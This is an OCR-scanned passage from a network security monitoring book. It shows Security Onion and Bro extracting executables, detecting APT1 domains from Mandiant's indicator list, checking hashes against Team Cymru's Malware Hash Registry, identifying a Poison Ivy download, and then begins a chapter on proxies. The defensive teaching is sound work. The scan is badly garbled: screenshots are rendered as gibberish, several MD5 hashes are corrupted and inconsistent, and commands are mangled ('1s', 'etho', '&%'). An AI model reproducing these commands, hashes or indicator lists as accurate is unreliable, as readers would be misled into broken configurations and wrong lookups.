Name Type Host Status Pid Peers Started

manager manager 192.168.2.102 running 19555 2 18 Apr 00:29:37
proxy proxy 192.168.2.102 running 19603 2 18 Apr 00:29:40
sov-etho-1 worker 192.168.2.102 running 19647 2 18 Apr 00:29:42

Status: sov-etho

Listing 12-17: Confirming Bro status using NSM scripts

According to the output of the nsm_sensor_ps-status --only-bro command,
Bro is running properly with the new configuration.

To test the live configuration, we’ll download another executable and
watch for entries in the Bro logs. Listing 12-18 shows commands to test
the new functionality on a production SO sensor configured to extract
Windows executables.

$ wget http://www.etree.org/cgi-bin/counter.cgi/software/md5sum.exe®

--2013-04-18 00:44:06-- http://www.etree.org/cgi-bin/counter.cgi/software/md5sum.exe
Resolving www.etree.org (www.etree.org)... 152.19.134.46

Connecting to www.etree.org (www.etree.org)|152.19.134.46]:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 49152 (48K) [application/octet-stream]

Saving to: “md5sum.exe'
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100%[ ======================================3] 49,152 --.-K/s in 0.1s

2013-04-18 00:44:07 (398 KB/s) - “md5sum.exe' saved [49152/49152]

$ grep md5sum.exe /nsm/bro/logs/current/*®

/nsm/bro/logs/current/http_eth0.log:1366245846.879854  8AwBGe9EpX 192.168.2.102 55409
152.19.134.46 80 1 GET www.etree.org  /cgi-bin/counter.cgi/software/md5sum.
exe® - Wget/1.13.4 (linux-gnu) O 49152 200 0K - - -
(empty) - - - application/x-dosexec® eb574b236133e60c989c647207827b©
/nsm/bro/extracted/http/http-item 192.168.2.102:55409-152.19.134.46:80 resp 1.dat®

/nsm/bro/logs/current/notice.log:1366245847.087877 8AwBGe9EpX 192.168.2.102

55409  152.19.134.46 80 tcp HTTP: :MD5 192.168.2.102
€b574b236133e60c989c6T472f07827b@ http://www.etree.org/cgi-bin/counter.cgi/software/md5sum.
exe® eb574b236133e60c989c6f472f07827b 192.168.2.102  152.19.134.46 80 -
sov-etho-1 Notice::ACTION_LOG 6 3600.000000 F - - -

Listing 12-18: Testing the new file extraction capability

Listing 12-18 shows two commands to validate Windows executable
extraction on a production sensor. First, we download a Windows executable
called md5sum.exe using the wget tool @. Once the download is complete, we
use grep to look for instances of the string md5sum in the current Bro logs @.

There are two results:

e  The first, from http.log, shows the download of the file ©, file type @,
MD5 hash ©, and path to the extracted binary @.

e The second, from notice.log, reproduces many of the same elements from
earlier examples, like the MD5 hash @ and URL for the binary ©.

The presence of these logs indicates that Bro is extracting Windows
executables from HTTP traffic, thanks to our configuration changes and
application restart.

Using APT1 Intelligence

In February 2013, Mandiant released a report on a Chinese military unit
known as Advanced Persistent Threat 1 (APT1). Within China, APT1 is the
Second Bureau of the Third Department of the General Staff Directorate
of the People’s Liberation Army. Also known by its Military Unit Cover
Designator, 61398, this Army team targets English-speaking companies and
steals trade secrets, intellectual property, and other sensitive information.
In its report, Mandiant released 3000 IOCs (discussed in Chapter 9),
including domain names, IP addresses, X.509 encryption certificates, and
MD5 hashes of malware used by APT1. Mandiant also published video of
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the intruders interacting with victim Western computers to send phishing
email, establish command-and-control channels, and exfiltrate data.

Although Mandiant published intelligence in OpenlOC (http://www
.openioc.org/) format, it was not immediately clear how network defenders
and NSM analysts could apply those indicators to their network. Within two
days of the report’s arrival, Seth Hall from the Bro project published one
answer: a new Bro module called APT1, incorporating Mandiant’s APT1
intelligence (https://github.com/sethhall/bro-aptl/). Network defenders running
NSM shops using SO now had an easy way to search for APT1 indicators on
the network.

PROOF-OF-CONCEPT VS. PRODUCTION

Seth Hall wrote the APT1 Bro module as a proof-of-concept in the interest of
publishing something quickly for the benefit of the community. However, SO
users should be aware of several aspects of this module when using it in pro-
duction. (Seth would be the first to warn you of all these issues, but | include
them here for clarity!)

As written, the module identifies the use of APT1 domains in DNS traffic, but
it does not detect APT1 domains in the Host element of HTTP headers (such as
Host: advanbusiness.com) or proxy-style URIs (such as GET http://advanbusiness
.com/some/file). Also, the module doesn't look for activity involving subdomains
(such as subdomain.advanbusiness.com).

In addition to using the features in the APT1 Bro module, you could also
look for interesting domains in other traffic, such as SMTP, or other content. As
of this writing, the module doesn't include those functions, but you can use the
Bro network programming language to write scripts to meet those needs. Seth
reminds users that Bro is constantly evolving, and his module will likely change
as Bro incorporates new features.

Using the APTI Module

So far, we’ve explored how Bro works with SO to create a variety of use-
ful logs, and we’ve modified local.bro to enable the extraction of Windows
executables from HTTP and FTP traffic. Now we will extend Bro by adding
a new module to its configuration.

Seth’s APT1 module consists of three policy scripts:

data.bro This script contains a list of the domain names, MDb5 hashes,
and elements of the X.509 certificates Mandiant provided, formatted
for consumption by Bro.

main.bro This script tells Bro’s notice framework to watch for matches
against elements in data.bro.

load__.bro This script tells Bro to load data.bro and main.bro.
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The module also includes a file called README.rst, which contains
instructions on how to install the script, discusses new notices generated
by Bro, and offers related information.

The IOCs in data.bro are formatted as shown in Listing 12-19.

®module APT1;

@const x509_serials and_subjects: set[string, string] = {
["01", "C=US, ST=Some-State, O=www.virtuallythere.com, OU=new, CN=new"],
["0122", "C=US, ST=Some-State, O=Internet Widgits Pty Ltd, CN=IBM"],

-- snip --

};

©const domains: set[string] = {
"advanbusiness.com",
"aoldaily.com",
"aoloniine.com",
"applesoftupdate.com”,

-- snip --

};

Oconst file mdss: set[string] = {
"001dd76872d80801692ff942308c64e6",
"002325a0a67fded0381b5648d7fe9b8e",
"00dbb9e1c09dbdaftb360f3163ba5a3de"”,

-- snip --

};

Listing 12-19: Excerpt from APTI data.bro

The data.bro file contains four main parts:

e Part @ declares that this is the APT1 module.

e Part @ includes X509 encryption certificate details recognized by Bro
and used by APTI.

e Part ® contains a list of malicious domains associated with APT1 activity.
e Part @ features a list of MD5 hashes of malware used by APT1.

As you can see, it’s very easy to add IOCs to this file or a copy, in order
to detect different activities. The main.bro file generates alert data in the
Bro notice.log file, as shown in Listing 12-20.

APT1::Domain Hit
APT1::Certificate Hit
APT1::File MD5_Hit

Listing 12-20: Alert data generated by the APT1 module

We’ll see one of these alerts in a live example when we test the APT1
module, but first we need to get that module and install it.
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Installing the APTI Module

We can test the APT1 module using techniques like the ones we tried when
enabling binary extraction from HTTP and FTP traffic. Listing 12-21 shows
this process in action.

$ sudo apt-get install git®
-- snip --

$ cd /opt/bro/share/bro/site/

$ sudo git clone git://github.com/sethhall/bro-apti.git apt1®
Cloning into 'apt1'...

remote: Counting objects: 12, done.

remote: Compressing objects: 100% (10/10), done.

remote: Total 12 (delta 2), reused 11 (delta 1)

Receiving objects: 100% (12/12), 32.82 KiB, done.

Resolving deltas: 100% (2/2), done.

$ 1s
apt1

local.bro.orig local-proxy.bro
local.bro local-manager.bro local-worker.bro

$ cd apta

$ 1s
data.bro

__load__.bro main.bro README.rst

Listing 12-21: Installing Git and obtaining the APT] module
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To acquire the APT1 module, first install the Git version control soft-
ware @, and then clone the Git repository of Seth Hall’s APT module ®.

Once the APT1 module has been downloaded into the /opt/bro/share/
bro/site/ directory, tell Bro about it by adding the following line to the bot-
tom of local.bro:

@load apt1

With local.bro modified, we’re almost ready to test the APT1 module, but
we still need to take one more step.

Generating Traffic to Test the APTI Module

To test the APT1 module, we launch a terminal on our sensor and tell
Tcpdump to capture traffic. We apply a BPF to focus on traffic to and from
port 53 that involves our test system 192.168.2.102. Tcpdump will save what
it sees to a trace file called port53.pcap.

$ sudo tcpdump -n -i etho -s 0 -w port53.pcap port 53 and host 192.168.2.102
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In a second terminal, query for one of the domains listed in the APT1
data.bro policy script advanbusiness.com, as shown in Listing 12-22.

$ host advanbusiness.com®

advanbusiness.com has address 50.63.202.91@

advanbusiness.com mail is handled by 0 smtp.secureserver.net.
advanbusiness.com mail is handled by 10 mailstorei.secureserver.net.

Listing 12-22: Performing a DNS query for advanbusiness.com

Next, we use the Linux utility host to query for advanbusiness.com @, and
see that the result is the IP address 50.63.202.91 @.

Returning to Tcpdump, we stop the capture with CTRL-C and review the
results, as shown in Listing 12-23.

$ tcpdump -n -r port53.pcap
reading from file port53.pcap, link-type EN10OMB (Ethernet)

14
14
14
14
14
14
0,

:30:
:30:
:30:
:30:
:30:
:30:

MX

15.
15.

15

15.
15.
15.

622379 IP 192.168.2.102.57097 > 172.16.2.1.53: 57373+ A? advanbusiness.com.® (35)
762833 IP 172.16.2.1.53 > 192.168.2.102.57097: 57373 1/0/0 A 50.63.202.91@ (51)
.765342 IP 192.168.2.102.58378 > 172.16.2.1.53: 42025+ AAAA? advanbusiness.com. (35)
870230 IP 172.16.2.1.53 > 192.168.2.102.58378: 42025 0/1/0 (103)

872373 IP 192.168.2.102.42336 > 172.16.2.1.53: 29779+ MX? advanbusiness.com. (35)
989506 IP 172.16.2.1.53 > 192.168.2.102.42336: 29779 2/0/2 MX smtp.secureserver.net.

mailstorel.secureserver.net. 10 (131)

Listing 12-23: DNS query for advanbusiness.com

Listing 12-23 shows the query for advanbusiness.com @, followed by the
result: IP address 50.63.202.91 @. With this traffic, we can now test the
APT1 module.

Testing the APTI Module

To test the APT1 module, we run Bro against the trace file we just captured.
Listing 12-24 shows the result.

$ sudo bro -r port53.pcap® /opt/bro/share/bro/site/local.bro®

WARNING: No Site::local nets have been defined. It's usually a good idea to
define your local networks.

WARNING: Template value remaining in BPFConf filename: /etc/nsm/{{hostname}}-
{{interface}}/bpf-bro.conf (/opt/bro/share/bro/securityonion/./bpfconf.bro,
line 99)

Listing 12-24: Running Bro against the saved DNS traffic

Listing 12-24 shows Bro reading a network trace @, while the pres-
ence of the local.bro @ file in the command line tells Bro to read that file
for additional configuration information. We can now see which logs Bro
generated.
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First, we examine the contents of the current working directory, as
shown in Listing 12-25.

$ 1s -al

total 52

drwxrwxr-x 3 soe soe 4096 Apr 18 14:52 .

drwxr-xr-x 33 soe soe 4096 Apr 18 14:52 ..

-TW-r--1-- 1 root root 278 Apr 18 14:52 capture_loss.log

-Tw-r--r-- 1 root root 865 Apr 18 14:52 conn.log
-Iw-r--r-- 1 root root 932 Apr 18 14:52 dns.log

-TwW-r--1-- 1 root root 8020 Apr 18 14:52 loaded scripts.log
-Tw-r--I-- 1 root root 864 Apr 18 14:52 notice.log®
-Iw-r--r-- 1 root root 1128 Apr 18 14:52 notice_policy.log
-Iw-r--r-- 1 root root 251 Apr 18 14:52 packet_filter.log
-IW-IW-I-- 1 soe soe 762 Apr 18 14:52 port53.pcap
-Tw-r--1-- 1 root root 951 Apr 18 14:52 reporter.log
drwx------ 3 root root 4096 Apr 18 14:52 .state

Listing 12-25: logs created by running Bro against the saved HTTP traffic

Listing 12-25 shows a variety of files created when Bro processed the net-
work trace. Let’s look at the notice.log ® to see if the APT1 module detected
the DNS query we made for the reportedly malicious advanbusiness.com
domain. Listing 12-26 shows the output.

$ cat notice.log | bro-cut -C -d

#separator \x09
#set_separator ,

#tempty field (empty)
#unset_field -

#path  notice

#open  2013-04-18-14-52-57

#fields ts uid id.orig h id.orig p id.resp_h id.resp p proto
note msg sub sIC dst p n peer descr actions policy items
suppress_for dropped remote_location.country code remote location.region remote_
location.city remote location.latitude remote_location.longitude metric_
index.host metric_index.str metric_index.network

#itypes string string addr port addr port enum enum string string
addr addr port count  string table[enum] table[count] interval bool
string string string double double addr string subnet

2013-04-18T14:30:15+0000 IVCYGEfpRya 192.168.2.102 57097  172.16.2.1 53

udp APT1::Domain_Hit® A domain from the APT1 report seen: advanbusiness.com®

- 192.168.2.102 172.16.2.1 53 - bro Notice::ACTION_LOG 6
3600.000000 F - - - - - - - -

#close 2013-04-18-14-52-57

Listing 12-26: Contents of the Bro notice.log file
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Listing 12-26 shows Bro reporting an APT: :Domain_hit alert @, followed
by information about the domain seen, advanbusiness.com ®. Our test was
successful, but this was only a test. To make Bro run the new configuration,

we need to restart Bro, as shown in Listing 12-27.

$ sudo broctl install &% sudo broctl restart
removing old policies in /nsm/bro/spool/installed-scripts-do-not-touch/site
removing old policies in /nsm/bro/spool/installed-scripts-do-not-touch/auto

creating policy directories ... done.
installing site policies ... done.
generating cluster-layout.bro ... done.
generating local-networks.bro ... done.
generating broctl-config.bro ... done.
updating nodes ... done.

stopping ...

stopping soe-etho-1 ...
stopping proxy ...
stopping manager ...
starting ...

starting manager ...
starting proxy ...
starting soe-etho-1 ...

... done.
... done.

Listing 12-27: Restarting Bro from the command line

Remember to check Bro’s status using the sudo nsm_sensor_ps-status

--only-bro command as well.

Reporting Downloads of Malicious Binaries

As you learned earlier, Bro can calculate MD5 hashes of Windows executa-
bles downloaded over HTTP. In this section, we’ll examine how SO and Bro
integrate with a third-party malware hash registry to warn analysts when
users download malicious software using a database offered by the Team
Cymru organization.

Using the Team Cymrv Malware Hash Registry

Team Cymru, formally known as Team Cymru Research NFP, describes itself
as “a specialized Internet security research firm and 501(c)3 non-profit
dedicated to making the Internet more secure” (http://www.team-cymru.
org/About/). We can use their free Malware Hash Registry (MHR, at http://
www.team-cymru.org/Services/MHR/) to match MD5 hashes against known
malware.

Most analysts query the MHR via DNS. Listing 12-28 shows how to use
the Linux dig command to run DNS TXT record queries for a malware hash
against MHR.
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$ dig +short 733a48a9cb49651d72fe824ca91e8d00.malware.hash.cymru.com TXT®
"1277221946@© 79©"

$ date -d 012772219460
Tue Jun 22 15:52:26 UTC 20100

$ dig +short 1e39efe30b02fd96b10785b49e23913b.malware.hash.cymru.com TXT®

$ whois -h hash.cymru.com 1e39efe30b02fd96b10785b49€23913b@
1le39efe30b02fd96b10785b49e23913b 1366297928 NO_DATA®

Listing 12-28: Querying the MHR via TXT and whois records

The first example shows a DNS TXT records query for malware with hash
733a48a9cb49651d72fe824ca91e8do0 @. (Search VirusTotal to see what it is!) The
first part of the response shows the date when the MHR last saw the sample @.
The second part of the response is a rough antivirus detection metric, as
a percentage ©. We convert the timestamp from Unix epoch time to
human-readable format with the date command @, and see that it was
June 22, 2010 ©.

The second example shows what happens when you query the MHR
and it sends no response ®. The hash supplied is the value for the Firefox
binary. Because the MHR has no data on this hash, we switch to the MHR
WHOIS query functionality @. The NO_DATA ® response proves the MHR
doesn’t know the supplied hash.

The example in Listing 12-29 shows another query using dig, but not
requesting a TXT record.

$ dig +short 733a48a9cb49651d72fe824ca91e8d00.malware.hash.cymru.com
127.0.0.2

Listing 12-29: Querying the MHR via the default A record

We query for the same first hash from Listing 12-28, but we let the
default be an A record.

A query for an A record asks a DNS server to return an IP address for
the requested fully qualified domain name. In contrast, a query for a PTR
record asks a DNS server to return a fully qualified domain name for the
requested IP address. A query for a TXT record asks a DNS server to reply
with any text records associated with a domain name.

Our only result is the IP address 127.0.0.2. This is the MHR’s way of
responding to A record queries that have a match. If we want more informa-
tion about a match, we need to run a DNS query for a TXT record, as shown
earlier in Listing 12-28.
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The MHR and SO: Active by Default

By default, Bro on SO is configured to work with the MHR to help detect
malicious downloads. SO relies on Bro to calculate MD5 hashes of Windows
executables downloaded over HTTP, and that Bro automatically submits
those hashes to the MHR. We can see this activity in action if we query Bro
logs via ELSA, as shown in Figure 12-8.

ELSA= _ Aamigc 1 A008(5) WIT) 1.1 million 1004 indensd and 15.0 millan Archived
h oy | Bubsmil Cusety | Halp
Fugm (20130497 113092 1o Acateim « | | RepotOa | | ides~ | [ Reuse current tab [ Gid drsplay
Resull Opbions_ v | Fleld Summary
T— — “ hosa(1) proegramil) classdl) sccip2) srcpon(2) dstipll) dstpea(l) peotod1) hestname(l) answeil)
Rocords: 818 443 ms 7 ot <py 1 i t 15 [x]
| OO IC_INTERNETIIALLIFIFITIFIONH-
2 Fri Apr 12 -
B gz
|
i S _INTERNE TIZBUANARLLFIFITIFI0H-
Fii Agr 12 3
B e
|
COMIIC_INTERMETIZ8AARALLIFIFTIFIH-
& Fri Apr 12 .
E R T
i Eami1IC_INTERMETIAL-FIFITIFIN-
Fri Apr 12 4
5 gy
by | FAAMIZ BB 11C_INTERNETI1AL|JFIFITIFI0H.
14,09.18
|
i dcom[1|C_INTERNETIZBIARAL] | [FIFTIFIO) |
- T
|
iccaml 1| _INTERNETI1AL [FFTIFOL
Fri Apr 12
W 400 18
i amiiiC_INTERNETIRSIAARALFIFITIFO]|
Fri Apr 17 |
o 0918 s
Records: 8 /8443 ms 2 fir pv 1 mext> last 15 [=]

Figure 12-8: Querying ELSA for MHR lookup

In Figure 12-8, we query ELSA for 1e39efe30b02fd96b10785b49e23913b
.malware.hash.cymru.com—the MDb5 hash of the Firefox binary from an earlier
example (1e39efe30b02fd196b10785b49€23913b), plus the domain malware.hash
.cymru.com. Figure 12-8 shows eight results, all of which are pairs. The first
entry in the pair is a lookup for an A record for IPv4, and the second entry is
a lookup for an AAAA record for IPv6. Thus, we have four unique queries for
this particular MD5 hash.

We can use one of two approaches to determine if any of the lookups
returned results:

e Inspect the results returned by ELSA directly. For example, a result
with no indication of malicious entries in the MHR looks like |1
[C_INTERNET|1|A|-|-|F|F|T|F|o|-]|- for IPv4 and |1|C_INTERNET|28|AAAA|-
|-|FIF|T|F|o|-]|- for IPv6. We see these results for each of the entries
in Figure 12-8, indicating that there are no matches in the MHR. This
tells us that the MHR doesn’t think the download of a binary with MD5
1e39efe30b02fd96b10785b49€23913b is malicious.

e Query ELSA for Malware_Hash_Registry Match. This is part of the event
returned by Bro when it queries the MHR and gets a positive response.
In this case, the query finds no records in ELSA for a binary with hash
1e39efe30b02fd96b10785b49e23913b.
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The MHR and SO vs. a Malicious Download

Because SO and Bro query the MHR by default, in production, any match
for a malicious download will appear in ELSA and the underlying Bro logs.

For example, suppose that one day you're working with SO and your
NSM data, and you run a query for Malware_Hash_Registry_Match. You get the
result shown in Figure 12-9.

ELSA~ | Admin = 1 node(s) with 1.1 million logs indexed and 19.0 million archivec1

Query Malware_Hash_Registry_Match Help

From [2013-04-17 11:30:42 To [ AdaTern - | [ Reporton~ | | index~ | [ Reuse m G
=—1= current tab display

Malware_Hash_Registry_Match mﬂ

Result Options... v |Field Summary
host(1) program{1) class(1) srcip(1) srcport(1) dstip(1) dstport(1) notice_type(1) notice_msq(1

Records: 171377 ms? <<first <prev 1 next> last>> |15 |Z|
TamestamE - Fields

1366293016.555895/-
1192.168.2.108/62585(205.186.148.46/801tcp|[HTTP::Malware_Hash_Registry_Match|192.168.2.108
b4f9%0cad1d20efab4d10e98fcTabcB1b http:ffwww.tacsecurity.com/helpdesk.exel-
Info Thu Apr 18 1192.168.2.108/205.186.148.46/80|-|soe-eth0-1|Notice:: ACTION_LOGI6|3600.000000F]-|-|-/-- -
—  09:50:16 host=127.0.0.1 program=bro_notice class=BRO_NOTICE srcip=192.168.2.108 srcpori=52585
dstip=205.186.148 46 dstpori=80 notice_type=HTTP::Malware_Hash_Registry_Match
notice_msg=192.168.2.108 b4f390cad1d20efabd 10e98fc7abcl1b
http://www taosecurity com/helpdesk exe

Records: 1/137Tms 2 <<first <prev 1 next> last>> |15 |Z|

Figure 12-9: Query result for Malware Hash Registry Match

I've reproduced the same log entry as text only in Listing 12-30 for easy

reference.
1366293016.555895 - 192.168.2.108@ 62585  205.186.148.460 80 tcp
HTTP: :Malware_Hash_Registry Match® 192.168.2.108 b4f990cadid20efab410e98fc7a6c81b@
http://www.taosecurity.com/helpdesk.exe® - 192.168.2.108  205.186.148.46
80- soe-etho-1 Notice::ACTION_LOG 6 3600.000000 F

Listing 12-30: Log entry for Malware Hash Registry Match

This log result from the Bro notice.log file indicates that a com-
puter with IP address 192.168.2.108 @ visited 205.186.148.46 @ and
triggered an HTTP: :Malware_Hash_Registry Match @ alert for MD5 hash
baf99ocad1id20efabs10e98fc7a6c81b @ from www.laosecurity.com and the
helpdesk.exe file ©. We can learn more about this connection if we
query ELSA for the filename helpdesk.exe, as shown in Figure 12-10.

The results show three records:

e The first record in Figure 12-10 is Bro’s way of telling us that it com-
puted an MD5 hash of the helpdesk.exe binary.

e The second record is the same as what we saw in the MD5 lookup.

e The third record shows that Bro extracted the binary from the HTTP
traffic and saved it as /nsm/bro/extracted/http/hitp-item_192.168.2.108:
62585-205.186.148.46:80_resp_1.dat.
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ELSA~ Admin v 1 node(s) with 1.1 million logs indexed and 19.0 million archive

Query |helpdesk.exe Help

From 2013-04-17 11:30:42| To | AgaTerm~ | | Reporton - | | index~ | 7] Reuse cument tab [ Grid display

Malware_Hash_Registry_Match (1) % helpdesk.exe (3]

‘ Result Options_.. ~ | Field Summary

host(1 2) class(2) srcip(1) srcport{1) dstip(1) dstport(1) notice_type(2) notice_msag(1) status_code(1) content_length(1)
method(1) site(1) uri(1) referer(1) user_agenti1)

Records: 313588 ms? <<first <prev 1 nmext> last>> |15 E|

'.I.'Amestamg = Fields
1366293016.527990|MWypTHKbDqf192.168.2.108|62585|205.186.148.46|80/tcp| HTTP::MD5/192.168.2.108
b4f990cad1d20efab410e98fcTabe81b
http:/iwww taosecurity.com/helpdesk.exe|b4f330cad 1d20efab410e98fcTabc81b|192.168.2.108]205.186.148.46/80|-|soe-
eth-1|Notice:: ACTION_LOGI6|3600.000000{F[-]-/--{--
host=127.0.0. 1Qrugram bro_notice class=BRO_NOTICE srcip=192.168.2 108 srcpori=62585 dstip=205.186.148.46
dstpo T D5 notice_mso=192.168.2.108 bdf390cad1d20efab410e98fc7abed1b
http-/iwww taosecurity com/helpdesic exe

1366293016.555895|-|192.168.2.108[62585[205.186.148.46/80[tcp[HTTP::Malware Hash_Registry Match|192.168.2.108
b4f990cad1d20efab4 :Tabc81b http:, .taosecurity.com/helpdesk.exe| |192.168.2.108[205.186.148.46[80]-
Thu Apr 18 |soe-eth0-1|Notice::ACTION_LOG[6]3600.! DDDI)I)I)|F|.|.|.\.\.|.|.|.
09:50:16 host=127.0.0.1 program=bro_notice class=BRO_NOTICE srcip=192.168.2.108 srcport=62585 dstip=205.186.148.46

dstport=80 notice_type=HTTP::Malware_Hash_Registry. Match notice_msg=192.168.2.108
b4f990cad1d?0efabd10e98fc7abe81b http:/fuwww t: m/ exe

1366293014.619944|MWypTHKbDqf192.168.2.108]62585|205.186.148.46|801| GETIwww, ity.com|/helpdesk.exe|-
IMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410. 64
Safari/537.31|0]2141878[200|0K]-|{-{(empty)l-|-|-lapplication/x-
dosexec|b4f330cad1d20efabd10e98fcTabeB1bl/nsmibro/extracted/hitp/http-item_192.168.2.108:62585-
205.186.148.46:80_resp_1.dat

host=127.0.0.1 program=bro_http class=BRO_HTTP srcip=192 168.2 108 srcport=62585 dstip=205_186.148 46 dstpori=80
status_code=200 content_length=2141878 method=GET site=www taosecurity. com uri=/helpdeskiexe referer=-
user_agent=Mozilla/5.0 (Windows NT 6.1; WOW®E4) AppleWebKit/537.31 (KHTML. like Gecko) Chrome/26.0.1410.64
Safari/537.31

Thu Apr 18

Info | 9g.50-16

Thu Apr 18
09:50:20

Records: 3/3588 ms? <<first <prev 1 nmext> last>> |16 El

Figure 12-10: Querying ELSA for helpdesk.exe

Identifying the Binary

We know that Bro and SO performed a lookup for the binary based on an
MD?5 hash, and we know that a match was found because Bro reported a
Malware Hash_Registry Match event. We can take a different look at this result
by querying ELSA using the hash and domain method demonstrated ear-
lier in Figure 12-8.

We’ll modify the query slightly by adding a +127.0.0.2 after the hash
and domain. The plus sign (+) tells ELSA to query for the term after it—
specifically 127.0.0.2, which is the IP address that the MHR returns when
Bro queries it for malware hashes. (We saw this difference in Listing 12-28.)
Figure 12-11 shows the result of looking for MHR matches for the hash and
domain b4f990cad1d20efab410e98fc7a6c81b.malware.hash.cymru.com.

(ELSA~  Admin - 1 nededs) win 1.1 million kogs indexed and 10.0 mdlion arcnivec
Quary Ef¥30cad 12 0nlab 10038k Tabc8 1h makware hash cymau com +137.0.02 Subost Cuery | Halp
Fmm 20130417 11:3042| In Add Teim = | | RepoilOn = | | indei= Fpuse cumant tab 71 Gnd deplry

Makwaco_Hash Registry Match (1) % | | helpdesk exo [(3) % | bimS0cadidtetsbd DesiicTabellb i4) *

Regutl Options. = |Fiedd Sum
L RanuOpbont. Y oeoorart clanait) o] areoont(1] tiol®) dalostlt) retort bestnamet) pnpst )

Records: 171838 ms 7 < f 1 15 [5]
| mestarp s Fisda
ThuAp1g  VIEETIMIE 15580000 1687, 162113 c n HTIC I TERNE T]3AIINGE RERORFF 1T 02 FIIE 6400000000
ok |l 1137001 programebe_dos BRO_ONS wrop=192,168 2102 sruponi= 36007 dutip=172.06.2.1 53 prio =P i il
=HT002
Records: 111 638 ms 7 1 |

Figure 12-11: Querying ELSA for baf99ocad1d20efab410e98fc7a6c81b.malware. hash.cymru.com +127.0.0.2
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We get one result. The presence of the 127.0.0.2 reply tells us that the
MHR recognized the hash.
At this point, we could take a few different paths to identify the binary:

e Because the binary is stored in /nsm/bro/extracted/http/http-item_
192.168.2.108:62585-205.186.148.46:80_resp_1.dat, we could perform

manual analysis.
e We could submit the extracted binary to a third-party engine like VirusTotal.

e  We could submit the hash to VirusTotal, which returns the results
shown in Figure 12-12.

b2 total
SHA256: <71d8085544e6%8160301 69339600 1bab fee3t av
File name: Poisonlvy2 3 2 exe P
Detection ratio: 40/ 46 .'r 8 . 9
Analysis date:  2013-04-11 17:29:22 UTC ( 6 days, 20 hours ago )
More details
B Analysis G Relationships @ Additional information ® Comments T} Votes
Antivirus Result Update
Agnitum Backdoor Poison+BEF 1eYjghd 20130409
AhnLab-V3 Trojan/Win32.Poison 20130409
AntiVir BDC/Poisonlvy A 20130410
Antiy-AVL L] 20130410

Figure 12-12: VirusTotal results for submitting hash baf990cad1d20efab410e98fc7a6c81b

VirusTotal identifies the malware as a Poison Ivy variant—a popular
remote-access Trojan (RAT) available from several websites. We hope the
user identified through this case downloaded the tool only for testing pur-
poses. If not, it’s time to begin looking for signs of outbound command-
and-control traffic, as described in Chapters 10 and 11. Good hunting!

Conclusion

Chapter 12

This chapter has introduced you to four ways to extend and make better
use of functions packaged with SO. We covered how Bro creates MD5
hashes for executables, and showed how to use them with VirusTotal. We
configured Bro to extract executable binaries from network traffic, and
demonstrated how to integrate external intelligence from Mandiant’s APT1
report. We also generated alerts in Bro to simulate suspicious DNS lookups
for an APT1 domain. We finished the chapter by showing how SO reports
and extracts the download of a malicious binary in production, which we
learned was the Poison Ivy RAT.

In the next chapter, we’ll take a look at two challenges to conducting
NSM: proxies and checksums.
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PROXIES AND CHECKSUMS

This chapter, aptly number 13, examines
two unlucky features of conducting NSM

on real networks: proxies and checksums.
The term proxy refers to a piece of network infra-

structure that some companies use to observe, control,

and accelerate Internet usage. The term checksum,

in the context of this chapter, refers to an error detection mechanism
offered by the Internet Protocol (IP). This chapter describes some ways
to cope with the problems caused by each of these features in operational
environments.

Proxies

Web proxies are especially popular in corporate environments. One type
of web proxy is tuned to handle traffic from web clients destined for web
Servers.

www.it-ebooks.info


http://www.it-ebooks.info/

290

Chapter 13

Some network and security administrators like proxies because they
provide performance and security benefits. With proxies, users sometimes
enjoy better access to content because that content is cached the first time
any user views it, with subsequent users enjoying fast access to the cached
copy. When users must send traffic through a proxy, administrators can try
to protect the network by limiting their access to malicious sites.

Figure 13-1 shows how a web proxy might work in a corporate environ-
ment. Here, a web client with IP address 192.168.2.108 visits a web server
at 205.186.148.46. The web client first establishes a session with the proxy,
labeled CONNECTION 1. The proxy then connects to the web server on
behalf of the client. That session is labeled CONNECTION 2. All traffic
between the client and server occurs over independent connections like
these.

CONNECTION 1 CONNECTION 2
Location X @ Location Y
. Prox
Web Client Xy Web Server
192.168.2.108 Internal: 192.168.2. 1 205.186.148.46

External: 172.16.2.1

Figure 13-1: Sample web proxy setup

Proxies and Visibility

As you can see in Figure 13-1, some elements of visibility are lost when
administrators deploy proxies. Instead of seeing only a true source IP
address for the web client and a true destination IP address for the web
server, we also see internal and external IP addresses for the proxy. The
web client speaks to the proxy, which then speaks to the web server. When
the web server replies, the direction is reversed.

For example, an NSM platform watching traffic at location X in
Figure 13-1 sees traffic with source IP address 192.168.2.108 and destina-
tion IP address 192.168.2.1. An NSM platform at location Y sees traffic with
source IP address 172.16.2.1 and destination IP address 205.186.148.46.
There doesn’t seem to be a single location where one sensor can see both
the true source IP address (192.168.2.108) and true destination IP address
(205.186.148.46) at once. This is a problem for analysts who rely on this
information to detect and respond to intruders.

Without access to sufficient logs, NSM analysts may actually see less
when proxies are deployed. Sometimes they can access proxy logs, but those
may not be easy to read. Sometimes analysts can capture network traffic
directly on the proxy itself. For example, the proxy in Figure 13-1 is run-
ning the pfSense (http://www.pfsense.org/) firewall with the Squid (http://
www.squid-cache.org/) web proxy. Because the specific platform is a FreeBSD
system in this example, we can collect traffic directly on the server. That is
not usually the case in production, but we will leverage this situation in this
chapter to gather network traffic and better understand the situation.
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Suppose you want to troubleshoot a perceived problem with the proxy
in Figure 13-1. You decide to log full content traffic in pcap format using
Tcpdump. You collect traffic from the internal interface in one trace file
called bej-int.pcap. You then collect traffic in a separate session from the
external interface in bej-ext.pcap. While sniffing each interface, you use a
web client on 192.168.2.108 to visit the www.bejtlich.net web server.

In order to look at the contents of the trace file, you manually generate
a transcript using Tcpflow (https://github.com/simsong/tcpflow/), as shown in
Listing 13-1.

$ tcpflow -r bej-int.pcap

$ 1s -al

total 56

drwxrwxr-x 3 ds6lso ds61lso 4096 Apr 23 20:14 .

drwxrwxr-x 4 ds6lso ds6lso 4096 Apr 23 20:05 ..

-IW-IW-T-- 1 ds61so ds61so 3605 Apr 21 20:53 172.016.002.001.03128-192.168.002.108.509490
-Iw-IW-I-- 1 ds6lso ds6lso 376 Apr 21 20:53 192.168.002.108.50949-172.016.002.001.03128@

Listing 13-1: Using Tcpflow to generate transcripts manually on the bej-int.pcap trace file

When run in this manner, Tcpflow generates two files. The first is traf-
fic from the proxy to the client @. The second is traffic from the client to
the proxy @.

Traffic from the Client to the Proxy
Listing 13-2 shows the traffic from the client to the proxy in this example.

$ cat 192.168.002.108.50949-172.016.002.001.03128

